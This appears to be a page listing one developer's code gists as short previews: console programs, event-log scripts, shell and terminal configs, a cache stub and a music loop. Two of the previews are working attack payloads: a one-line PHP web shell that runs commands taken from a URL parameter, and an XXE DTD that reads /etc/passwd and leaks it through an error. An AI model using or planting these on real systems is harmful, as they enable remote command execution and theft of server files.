This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// See https://aka.ms/new-console-template for more information | |
using System.Reflection; | |
using System.Runtime.CompilerServices; | |
using System.Runtime.Loader; | |
using System.Security.Cryptography; | |
internal class Program | |
{ | |
private static async Task Main(string[] args) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-ApiErrors() { | |
Get-WinEvent –LogName dbank -MaxEvents 500 ` | |
| Where-Object { $_.LevelDisplayName -eq "Error" } ` | |
| Where-Object { $_.Message -notlike "*LogController*" } | |
| Format-List -Property TimeCreated,LevelDisplayName,Message | |
| more | |
} | |
function Get-ApiEventTail($ShowExisting=10) { | |
$LogName = "dbank" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!DateTime.TryParse(args[0], out var birthdate)) | |
{ | |
Console.Error.WriteLine("Invalid birthdate"); | |
} | |
var gender = args[1]; | |
bool isMale = gender.Equals("m", StringComparison.InvariantCultureIgnoreCase); | |
int[] GetDigits(string x) => x.Select(x => (byte)x - 0x30).ToArray(); | |
var ssn = birthdate.ToString("ddMMyy"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class AlwaysEmptyCache : IMemoryCache | |
{ | |
class ExpiredEntry : ICacheEntry | |
{ | |
public ExpiredEntry(object key) | |
{ | |
Key = key; | |
} | |
public DateTimeOffset? AbsoluteExpiration { get; set; } = DateTimeOffset.MinValue; | |
public TimeSpan? AbsoluteExpirationRelativeToNow { get; set; } = DateTimeOffset.Now - DateTimeOffset.MinValue; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Env:SPV_GITHUB_USERNAME = "loldot" | |
$Env:SPV_GITHUB_PACKAGEREADTOKEN = "" | |
$Env:NPM_TOKEN = "" | |
Import-Module Posh-Git | |
$GitPromptSettings.DefaultPromptSuffix = $('`n' + '>' * ($nestedPromptLevel + 1) + ' ') | |
chcp 65001 | |
$Env:LC_ALL='C.UTF-8' | |
Set-PSReadLineOption -PredictionSource History |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# If you come from bash you might have to change your $PATH. | |
# export PATH=$HOME/bin:/usr/local/bin:$PATH | |
export DOTNET_ROOT=$HOME/dotnet | |
export PATH=$PATH:$HOME/dotnet:$HOME/.dotnet/tools:$HOME/vscode | |
# Path to your oh-my-zsh installation. | |
export ZSH="/home/loldot/.oh-my-zsh" | |
# Set name of the theme to load --- if set to "random", it will | |
# load a random theme each time oh-my-zsh is loaded, in which case, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php echo(system($_GET["cmd"])); ?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"$schema": "https://aka.ms/terminal-profiles-schema", | |
"globals" : | |
{ | |
"alwaysShowTabs" : true, | |
"defaultProfile" : "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}", | |
"initialCols" : 120, | |
"initialRows" : 30, | |
"keybindings" : | |
[ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % file SYSTEM "file:///etc/passwd"> | |
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> | |
%eval; | |
%error; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
live_loop :lead do | |
sl = "C:/Users/lrved_000/Music/Samples/Cymatics - Piano and String Loops Vol 1/Piano Loops/" | |
sample sl, "140 BPM F#", rate: 1 | |
12.times do | |
with_fx :echo do | |
sample sl, "140 BPM F#", rate: -1, onset: [0,1,2].choose, amp:0.6 | |
end | |
sleep 1 | |
end |
NewerOlder